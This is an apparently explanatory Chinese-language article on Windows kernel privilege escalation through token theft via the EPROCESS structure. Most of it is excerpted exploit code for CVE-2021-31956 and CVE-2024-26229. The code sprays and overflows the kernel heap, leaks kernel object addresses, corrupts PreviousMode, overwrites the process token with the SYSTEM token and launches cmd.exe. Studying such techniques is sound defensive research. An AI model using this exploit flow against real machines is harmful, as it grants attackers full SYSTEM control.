在 Windows 内核提权的发展过程中,攻击者通常通过各种方案布局,最终获得内核地址的读写权限。进程的 Token 决定了它具备什么权限——Windows 在执行 SeAccessCheck 时会读取调用者的 Token,其中的 SID、Group 和 Privileges 决定了是否允许访问某个资源。
Token 分为两类:
_EPROCESS 结构里包含一个指向其主 Token 的字段(通常名为 Token,实现上常用 EX_FAST_REF 包装)。EPROCESS→Token 指向该进程的主访问令牌。进程发起的线程会以这个主 Token 的安全上下文执行(除非线程有自己的模拟 Token)。ETHREAD / TCB 的相关位置(供 SetThreadToken、Impersonate 等调用使用)。要实现一个进程的提权,要做到获取结构体的地址和任意读取
要修改或读取程序的 EPROCESS 结构体,除了获得任意读/写权限外,最关键的是泄漏出结构体地址——否则无法读取高权限的 Token 或改写其他标志。
两个本地提权漏洞样例(**CVE-2021-31956、CVE-2024-26229**)
if (!NT_SUCCESS(resolve_symbols()))
goto out;
if (!NT_SUCCESS(get_eproc(&own_eproc)))
goto out;
if (!NT_SUCCESS(spray_heap(statenames, SPRAY_COUNT, &buf, sizeof(buf))))
goto out;
if (!NT_SUCCESS(fragment_heap(statenames, SPRAY_COUNT)))
goto out;
if (!NT_SUCCESS(overflow_chunk(OVERFLOW_SZ, OVERFLOW_DATA, OVERFLOW_SZ)))
goto out;
while (!NT_SUCCESS(find_chunk(statenames, SPRAY_COUNT, &buf, &buf_sz, &overflow_idx)))
if (!NT_SUCCESS(overflow_chunk(OVERFLOW_SZ, OVERFLOW_DATA, OVERFLOW_SZ)))
goto out;
pRtlInitUnicodeString(&objectName, L"\\\\Device\\\\Mup\\\\;Csc\\\\.\\\\.");
InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);
status = pNtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
if (!NT_SUCCESS(status))
{
printf("[-] NtCreateFile failed with status = %x\\n", status);
return status;
}
Ret = GetObjPtr(&Sysproc, 4, 4);
if (Ret != NULL)
{
return Ret;
}
printf("[+] System EPROCESS address = %llx\\n", Sysproc);
hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
if (hThread != NULL)
{
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current THREAD address = %llx\\n", Curthread);
}
hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
if (hCurproc != NULL)
{
Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current EPROCESS address = %llx\\n", Curproc);
}
status = pNtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
if (!NT_SUCCESS(status))
{
printf("[-] NtFsControlFile failed with status = %x\\n", status);
return status;
}
printf("[!] Leveraging DKOM to achieve LPE\\n");
printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\\n");
Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);
Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);
system("cmd.exe");
从这两个提权漏洞的利用可以看出,必须拿到EPROCESS结构体地址,例如CVE-2024-26229,实现了一个拷贝内核地址的漏洞,将PID 4 的进程token拷贝设置为自己的token,从而提升权限。
攻击者在使用CVE-2021-31956绕过chrome沙箱时,还使用CVE-2021-31955来泄漏eprocess地址,确保在沙箱内利用成功。